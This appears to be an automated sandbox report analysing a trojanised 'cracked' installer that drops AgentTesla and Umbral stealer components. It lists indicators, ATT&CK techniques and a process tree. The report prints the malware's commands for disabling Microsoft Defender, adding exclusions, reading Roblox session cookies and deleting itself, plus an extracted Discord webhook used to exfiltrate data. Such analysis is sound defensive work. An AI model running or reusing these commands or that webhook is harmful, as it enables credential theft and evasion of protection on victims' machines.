agenttesla | 52124dea5ce1c6296873462826b58cf7ced4bc5bff6092af5950769482962339

Analysis

max time kernel
141s
max time network
145s
platform
windows7_x64
resource
win7-20240708-en
resource tags

arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system
submitted
18-08-2024 14:52

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General

Target

Byte_Guard_Cracked.exe
Size

4.3MB
MD5

d7936c64138b924d63901cedb2c6cd09
SHA1

b525dd212eac4c808b5166880976b1817caf826b
SHA256

52124dea5ce1c6296873462826b58cf7ced4bc5bff6092af5950769482962339
SHA512

3c2e8b6b1de63baeda4fb714ab3f4104f820cf81d2bbe9d4177631246b7627ac1e76c709a57504ca777dfdbcc74aab95602184a270120f653832f37e4965d3f7
SSDEEP

98304:dnsmtk2a2052wnEFsuU8agxdazsYXhDqgAdXt2:BL4n7uB8zpXcnb2

Score

10^/10

agenttesla umbral credential_access defense_evasion discovery execution keylogger persistence spyware stealer trojan

Malware Config

Extracted

Family

umbral

https://discord.com/api/webhooks/1271910498107129856/6QtgJK8NkWoaobhUacej3NEYw3eYaasAKEEehxN04UR57cdaVkLvywYwnoPhZkUSYxdW

Signatures

AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
keylogger trojan stealer spyware agenttesla

Detect Umbral payload 2 IoCs

resource	yara_rule
behavioral1/files/0x0009000000015d13-35.dat	family_umbral
behavioral1/memory/2728-76-0x00000000009B0000-0x00000000009F0000-memory.dmp	family_umbral

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral

AgentTesla payload 1 IoCs

resource	yara_rule
behavioral1/memory/2360-79-0x0000000006400000-0x0000000006612000-memory.dmp	family_agenttesla

Credentials from Password Stores: Credentials from Web Browsers 1 TTPs
Malicious Access or copy of Web Browser Credential store.
credential_access stealer

Credentials from Web Browsers
T1555.003

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
324	powershell.exe
108	powershell.exe
2516	powershell.exe
1536	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	Umbral.exe

Executes dropped EXE 9 IoCs

pid	Process
2852	._cache_Byte_Guard_Cracked.exe
2920	Synaptics.exe
2712	Umbral.exe
2276	._cache_Synaptics.exe
1012	Byte Guard.exe
2728	Umbral.exe
2620	Byte Guard.exe
2900	._cache_Byte Guard.exe
2360	._cache_Byte Guard.exe

Loads dropped DLL 16 IoCs

pid	Process
2652	Byte_Guard_Cracked.exe
2652	Byte_Guard_Cracked.exe
2652	Byte_Guard_Cracked.exe
2920	Synaptics.exe
2852	._cache_Byte_Guard_Cracked.exe
2920	Synaptics.exe
2852	._cache_Byte_Guard_Cracked.exe
2852	._cache_Byte_Guard_Cracked.exe
2276	._cache_Synaptics.exe
2276	._cache_Synaptics.exe
2276	._cache_Synaptics.exe
2620	Byte Guard.exe
1012	Byte Guard.exe
1012	Byte Guard.exe
2620	Byte Guard.exe
2620	Byte Guard.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\????? = "C:\\ProgramData\\Synaptics\\Synaptics.exe"	Byte_Guard_Cracked.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
15	discord.com
14	discord.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
11	ip-api.com

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 10 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	._cache_Byte Guard.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	._cache_Byte Guard.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Byte_Guard_Cracked.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	._cache_Byte_Guard_Cracked.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Byte Guard.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Synaptics.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	._cache_Synaptics.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Byte Guard.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
3040	cmd.exe
2936	PING.EXE

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
2612	wmic.exe

Enumerates system info in registry 2 TTPs 6 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemVersion	._cache_Byte Guard.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	._cache_Byte Guard.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	._cache_Byte Guard.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemVersion	._cache_Byte Guard.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	._cache_Byte Guard.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	._cache_Byte Guard.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
2936	PING.EXE

Suspicious behavior: EnumeratesProcesses 8 IoCs

pid	Process
2824	powershell.exe
980	powershell.exe
2728	Umbral.exe
1536	powershell.exe
324	powershell.exe
108	powershell.exe
1504	powershell.exe
2516	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2824	powershell.exe
Token: SeDebugPrivilege	980	powershell.exe
Token: SeDebugPrivilege	2728	Umbral.exe
Token: SeIncreaseQuotaPrivilege	2040	wmic.exe
Token: SeSecurityPrivilege	2040	wmic.exe
Token: SeTakeOwnershipPrivilege	2040	wmic.exe
Token: SeLoadDriverPrivilege	2040	wmic.exe
Token: SeSystemProfilePrivilege	2040	wmic.exe
Token: SeSystemtimePrivilege	2040	wmic.exe
Token: SeProfSingleProcessPrivilege	2040	wmic.exe
Token: SeIncBasePriorityPrivilege	2040	wmic.exe
Token: SeCreatePagefilePrivilege	2040	wmic.exe
Token: SeBackupPrivilege	2040	wmic.exe
Token: SeRestorePrivilege	2040	wmic.exe
Token: SeShutdownPrivilege	2040	wmic.exe
Token: SeDebugPrivilege	2040	wmic.exe
Token: SeSystemEnvironmentPrivilege	2040	wmic.exe
Token: SeRemoteShutdownPrivilege	2040	wmic.exe
Token: SeUndockPrivilege	2040	wmic.exe
Token: SeManageVolumePrivilege	2040	wmic.exe
Token: 33	2040	wmic.exe
Token: 34	2040	wmic.exe
Token: 35	2040	wmic.exe
Token: SeIncreaseQuotaPrivilege	2040	wmic.exe
Token: SeSecurityPrivilege	2040	wmic.exe
Token: SeTakeOwnershipPrivilege	2040	wmic.exe
Token: SeLoadDriverPrivilege	2040	wmic.exe
Token: SeSystemProfilePrivilege	2040	wmic.exe
Token: SeSystemtimePrivilege	2040	wmic.exe
Token: SeProfSingleProcessPrivilege	2040	wmic.exe
Token: SeIncBasePriorityPrivilege	2040	wmic.exe
Token: SeCreatePagefilePrivilege	2040	wmic.exe
Token: SeBackupPrivilege	2040	wmic.exe
Token: SeRestorePrivilege	2040	wmic.exe
Token: SeShutdownPrivilege	2040	wmic.exe
Token: SeDebugPrivilege	2040	wmic.exe
Token: SeSystemEnvironmentPrivilege	2040	wmic.exe
Token: SeRemoteShutdownPrivilege	2040	wmic.exe
Token: SeUndockPrivilege	2040	wmic.exe
Token: SeManageVolumePrivilege	2040	wmic.exe
Token: 33	2040	wmic.exe
Token: 34	2040	wmic.exe
Token: 35	2040	wmic.exe
Token: SeDebugPrivilege	1536	powershell.exe
Token: SeDebugPrivilege	324	powershell.exe
Token: SeDebugPrivilege	108	powershell.exe
Token: SeDebugPrivilege	1504	powershell.exe
Token: SeIncreaseQuotaPrivilege	2668	wmic.exe
Token: SeSecurityPrivilege	2668	wmic.exe
Token: SeTakeOwnershipPrivilege	2668	wmic.exe
Token: SeLoadDriverPrivilege	2668	wmic.exe
Token: SeSystemProfilePrivilege	2668	wmic.exe
Token: SeSystemtimePrivilege	2668	wmic.exe
Token: SeProfSingleProcessPrivilege	2668	wmic.exe
Token: SeIncBasePriorityPrivilege	2668	wmic.exe
Token: SeCreatePagefilePrivilege	2668	wmic.exe
Token: SeBackupPrivilege	2668	wmic.exe
Token: SeRestorePrivilege	2668	wmic.exe
Token: SeShutdownPrivilege	2668	wmic.exe
Token: SeDebugPrivilege	2668	wmic.exe
Token: SeSystemEnvironmentPrivilege	2668	wmic.exe
Token: SeRemoteShutdownPrivilege	2668	wmic.exe
Token: SeUndockPrivilege	2668	wmic.exe
Token: SeManageVolumePrivilege	2668	wmic.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2652 wrote to memory of 2852	2652	Byte_Guard_Cracked.exe	30
PID 2652 wrote to memory of 2852	2652	Byte_Guard_Cracked.exe	30
PID 2652 wrote to memory of 2852	2652	Byte_Guard_Cracked.exe	30
PID 2652 wrote to memory of 2852	2652	Byte_Guard_Cracked.exe	30
PID 2852 wrote to memory of 2824	2852	._cache_Byte_Guard_Cracked.exe	31
PID 2852 wrote to memory of 2824	2852	._cache_Byte_Guard_Cracked.exe	31
PID 2852 wrote to memory of 2824	2852	._cache_Byte_Guard_Cracked.exe	31
PID 2852 wrote to memory of 2824	2852	._cache_Byte_Guard_Cracked.exe	31
PID 2652 wrote to memory of 2920	2652	Byte_Guard_Cracked.exe	33
PID 2652 wrote to memory of 2920	2652	Byte_Guard_Cracked.exe	33
PID 2652 wrote to memory of 2920	2652	Byte_Guard_Cracked.exe	33
PID 2652 wrote to memory of 2920	2652	Byte_Guard_Cracked.exe	33
PID 2852 wrote to memory of 2712	2852	._cache_Byte_Guard_Cracked.exe	34
PID 2852 wrote to memory of 2712	2852	._cache_Byte_Guard_Cracked.exe	34
PID 2852 wrote to memory of 2712	2852	._cache_Byte_Guard_Cracked.exe	34
PID 2852 wrote to memory of 2712	2852	._cache_Byte_Guard_Cracked.exe	34
PID 2920 wrote to memory of 2276	2920	Synaptics.exe	35
PID 2920 wrote to memory of 2276	2920	Synaptics.exe	35
PID 2920 wrote to memory of 2276	2920	Synaptics.exe	35
PID 2920 wrote to memory of 2276	2920	Synaptics.exe	35
PID 2852 wrote to memory of 1012	2852	._cache_Byte_Guard_Cracked.exe	36
PID 2852 wrote to memory of 1012	2852	._cache_Byte_Guard_Cracked.exe	36
PID 2852 wrote to memory of 1012	2852	._cache_Byte_Guard_Cracked.exe	36
PID 2852 wrote to memory of 1012	2852	._cache_Byte_Guard_Cracked.exe	36
PID 2276 wrote to memory of 980	2276	._cache_Synaptics.exe	37
PID 2276 wrote to memory of 980	2276	._cache_Synaptics.exe	37
PID 2276 wrote to memory of 980	2276	._cache_Synaptics.exe	37
PID 2276 wrote to memory of 980	2276	._cache_Synaptics.exe	37
PID 2276 wrote to memory of 2728	2276	._cache_Synaptics.exe	39
PID 2276 wrote to memory of 2728	2276	._cache_Synaptics.exe	39
PID 2276 wrote to memory of 2728	2276	._cache_Synaptics.exe	39
PID 2276 wrote to memory of 2728	2276	._cache_Synaptics.exe	39
PID 2276 wrote to memory of 2620	2276	._cache_Synaptics.exe	40
PID 2276 wrote to memory of 2620	2276	._cache_Synaptics.exe	40
PID 2276 wrote to memory of 2620	2276	._cache_Synaptics.exe	40
PID 2276 wrote to memory of 2620	2276	._cache_Synaptics.exe	40
PID 1012 wrote to memory of 2900	1012	Byte Guard.exe	41
PID 1012 wrote to memory of 2900	1012	Byte Guard.exe	41
PID 1012 wrote to memory of 2900	1012	Byte Guard.exe	41
PID 1012 wrote to memory of 2900	1012	Byte Guard.exe	41
PID 2620 wrote to memory of 2360	2620	Byte Guard.exe	42
PID 2620 wrote to memory of 2360	2620	Byte Guard.exe	42
PID 2620 wrote to memory of 2360	2620	Byte Guard.exe	42
PID 2620 wrote to memory of 2360	2620	Byte Guard.exe	42
PID 2728 wrote to memory of 2040	2728	Umbral.exe	43
PID 2728 wrote to memory of 2040	2728	Umbral.exe	43
PID 2728 wrote to memory of 2040	2728	Umbral.exe	43
PID 2728 wrote to memory of 1764	2728	Umbral.exe	47
PID 2728 wrote to memory of 1764	2728	Umbral.exe	47
PID 2728 wrote to memory of 1764	2728	Umbral.exe	47
PID 2728 wrote to memory of 1536	2728	Umbral.exe	49
PID 2728 wrote to memory of 1536	2728	Umbral.exe	49
PID 2728 wrote to memory of 1536	2728	Umbral.exe	49
PID 2728 wrote to memory of 324	2728	Umbral.exe	51
PID 2728 wrote to memory of 324	2728	Umbral.exe	51
PID 2728 wrote to memory of 324	2728	Umbral.exe	51
PID 2728 wrote to memory of 108	2728	Umbral.exe	53
PID 2728 wrote to memory of 108	2728	Umbral.exe	53
PID 2728 wrote to memory of 108	2728	Umbral.exe	53
PID 2728 wrote to memory of 1504	2728	Umbral.exe	55
PID 2728 wrote to memory of 1504	2728	Umbral.exe	55
PID 2728 wrote to memory of 1504	2728	Umbral.exe	55
PID 2728 wrote to memory of 2668	2728	Umbral.exe	57
PID 2728 wrote to memory of 2668	2728	Umbral.exe	57

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
1764	attrib.exe

C:\Users\Admin\AppData\Local\Temp\Byte_Guard_Cracked.exe
"C:\Users\Admin\AppData\Local\Temp\Byte_Guard_Cracked.exe"
1⤵
- Loads dropped DLL
- Adds Run key to start application
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2652
- C:\Users\Admin\AppData\Local\Temp\._cache_Byte_Guard_Cracked.exe
  "C:\Users\Admin\AppData\Local\Temp\._cache_Byte_Guard_Cracked.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2852
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHgAYwBtACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHUAcwBhACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHoAaABxACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAZQBhACMAPgA="
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2824
- - C:\Users\Admin\AppData\Local\Umbral.exe
    "C:\Users\Admin\AppData\Local\Umbral.exe"
    3⤵
    - Executes dropped EXE
    PID:2712
- - C:\Users\Admin\AppData\Local\Byte Guard.exe
    "C:\Users\Admin\AppData\Local\Byte Guard.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:1012
  - - C:\Users\Admin\AppData\Local\Temp\._cache_Byte Guard.exe
      "C:\Users\Admin\AppData\Local\Temp\._cache_Byte Guard.exe"
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Enumerates system info in registry
      PID:2900
- C:\ProgramData\Synaptics\Synaptics.exe
  "C:\ProgramData\Synaptics\Synaptics.exe" InjUpdate
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2920
- - C:\Users\Admin\AppData\Local\Temp\._cache_Synaptics.exe
    "C:\Users\Admin\AppData\Local\Temp\._cache_Synaptics.exe" InjUpdate
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2276
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHgAYwBtACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHUAcwBhACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHoAaABxACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAZQBhACMAPgA="
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:980
  - - C:\Users\Admin\AppData\Local\Umbral.exe
      "C:\Users\Admin\AppData\Local\Umbral.exe"
      4⤵
      Drops file in Drivers directory
      Executes dropped EXE
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:2728
    - - C:\Windows\System32\Wbem\wmic.exe
        
        "wmic.exe" csproduct get uuid
        5⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:2040
    - - C:\Windows\system32\attrib.exe
        
        "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Umbral.exe"
        5⤵
        Views/modifies file attributes
        
        PID:1764
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Umbral.exe'
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1536
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:324
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:108
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
        5⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1504
    - - C:\Windows\System32\Wbem\wmic.exe
        
        "wmic.exe" os get Caption
        5⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:2668
    - - C:\Windows\System32\Wbem\wmic.exe
        
        "wmic.exe" computersystem get totalphysicalmemory
        5⤵
        
        PID:2808
    - - C:\Windows\System32\Wbem\wmic.exe
        
        "wmic.exe" csproduct get uuid
        5⤵
        
        PID:2804
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:2516
    - - C:\Windows\System32\Wbem\wmic.exe
        
        "wmic" path win32_VideoController get name
        5⤵
        Detects videocard installed
        
        PID:2612
    - - C:\Windows\system32\cmd.exe
        
        "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Umbral.exe" && pause
        5⤵
        System Network Configuration Discovery: Internet Connection Discovery
        
        PID:3040
      - C:\Windows\system32\PING.EXE
        
        ping localhost
        6⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:2936
  - - C:\Users\Admin\AppData\Local\Byte Guard.exe
      "C:\Users\Admin\AppData\Local\Byte Guard.exe"
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:2620
    - - C:\Users\Admin\AppData\Local\Temp\._cache_Byte Guard.exe
        
        "C:\Users\Admin\AppData\Local\Temp\._cache_Byte Guard.exe"
        5⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Enumerates system info in registry
        
        PID:2360

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Modify Registry

T1112

Obfuscated Files or Information

T1027

Command Obfuscation

T1027.010

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

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Downloads

C:\ProgramData\Synaptics\Synaptics.exe

Filesize
4.3MB

MD5
d7936c64138b924d63901cedb2c6cd09

SHA1
b525dd212eac4c808b5166880976b1817caf826b

SHA256
52124dea5ce1c6296873462826b58cf7ced4bc5bff6092af5950769482962339

SHA512
3c2e8b6b1de63baeda4fb714ab3f4104f820cf81d2bbe9d4177631246b7627ac1e76c709a57504ca777dfdbcc74aab95602184a270120f653832f37e4965d3f7

Download Submit
C:\Users\Admin\AppData\Local\Temp\._cache_Byte Guard.exe

Filesize
2.5MB

MD5
068b2d1729ce3ea43aca321d35983886

SHA1
1f0265d64f80734687a5abff64163f735933ba40

SHA256
7d356312b37eac1a8c175c3b715b650ef881ba83096d242a87dee1439e14aaa3

SHA512
01241980cbf6d6a2f8935790e7d509e487c541590766a290b7dab889bcea6c367170d2d5c56bead75693b78e596af72b00ee22241c2c5b51e8f5384e393af0cd

Download Submit
C:\Users\Admin\AppData\Local\Temp\._cache_Byte_Guard_Cracked.exe

Filesize
3.6MB

MD5
c53c9140b7d6c214c6d168d34365418c

SHA1
72144ae7d77432b217f73be33eae773f7cc0dcf7

SHA256
8d0405c5776efbedc678af7096a129fea77d1df352a23bf87a9fa3485d2ea143

SHA512
f4f912b5784eacfecbf3fcf6876ed573df519070a2d663eb7985a8544a28b03fade339c2eca93b2da7f1240cec60ae1929b81f217c711e575e2d2908ddb80910

Download Submit
C:\Users\Admin\AppData\Local\Umbral.exe

Filesize
229KB

MD5
06b38b4286ab07b09e34030a13893cf8

SHA1
1741b0fec5104f2237c84f86e400b34ee457f510

SHA256
426f84b164f029d25bd87377d930c1532dd9fb1f490f0ddb2906f2c8006a2f8f

SHA512
e752bfa062a46682209dc8d5685b583a523af9a594ed92cb1ce97fda652ded92cffa032b1b69110ca04d7f52a7532aaa3011facfdd90baaeec91515424573df4

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
b59c9b76539b70b090522a05e518145a

SHA1
c7461ed830d81a7c2e6935aa727ed711928a510f

SHA256
69435fe4c1271bdff297bd8f9b19413d56386cd1bb904a693550495e658b990d

SHA512
76e23d4aa496d15dce4321eaf16324fdc3824e40cdbd822cf58e305d57f16a55bc410d4807488991001801f906f0eaa60bcf615763ea7e0824e35fd407818b11

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\MA90FBTRURF4QDUPQIR8.temp

Filesize
7KB

MD5
67a06a44407d06f26a191ecd025ccf1f

SHA1
6c4422f80eec7aacb5d6a3deced4033febf94033

SHA256
1b249158d63e8efcf38490ab017844ef9bdda8acbbafe029df1e780a3d69f73c

SHA512
cda521c30b1572779cbb94c380888f09bcd62ec921776e0f7276b05698cc71bb3e4c9811782fee2faba2281821fef737ab608991761ebe1604574cb7388a0db4

Download Submit
\Users\Admin\AppData\Local\Byte Guard.exe

Filesize
3.2MB

MD5
5d317aa06f8daf4558eb1a48f20a67bd

SHA1
e574b2144d7e64ad354074460eb10d6a8d55ef7b

SHA256
d76287c021bc3320cd53e42b62a86e3064f56f80158066381d57dfadd64b5a79

SHA512
8576d946d69cfbea20b5d4bba7e2620c78017de38cb4fdd6e7d8b768c7e3f21291314aa2b27eb9939c7ddeea08e44e36bb828e53ace370f52ee28ecb6e90ad24

Download Submit
memory/324-91-0x000000001B690000-0x000000001B972000-memory.dmp

Filesize
2.9MB

Download
memory/324-92-0x0000000002790000-0x0000000002798000-memory.dmp

Filesize
32KB

Download
memory/1012-71-0x0000000000400000-0x0000000000743000-memory.dmp

Filesize
3.3MB

Download
memory/1536-84-0x000000001B7C0000-0x000000001BAA2000-memory.dmp

Filesize
2.9MB

Download
memory/1536-85-0x0000000001EE0000-0x0000000001EE8000-memory.dmp

Filesize
32KB

Download
memory/2360-79-0x0000000006400000-0x0000000006612000-memory.dmp

Filesize
2.1MB

Download
memory/2516-120-0x0000000001F80000-0x0000000001F88000-memory.dmp

Filesize
32KB

Download
memory/2620-75-0x0000000000400000-0x0000000000743000-memory.dmp

Filesize
3.3MB

Download
memory/2652-28-0x0000000000400000-0x0000000000851000-memory.dmp

Filesize
4.3MB

Download
memory/2652-0-0x0000000000220000-0x0000000000221000-memory.dmp

Filesize
4KB

Download
memory/2728-76-0x00000000009B0000-0x00000000009F0000-memory.dmp

Filesize
256KB

Download
memory/2900-77-0x00000000010B0000-0x0000000001338000-memory.dmp

Filesize
2.5MB

Download
memory/2900-78-0x00000000061F0000-0x000000000644C000-memory.dmp

Filesize
2.4MB

Download
memory/2920-124-0x0000000000400000-0x0000000000851000-memory.dmp

Filesize
4.3MB

Download
memory/2920-130-0x0000000000400000-0x0000000000851000-memory.dmp

Filesize
4.3MB

Download
memory/2920-159-0x0000000000400000-0x0000000000851000-memory.dmp

Filesize
4.3MB

Download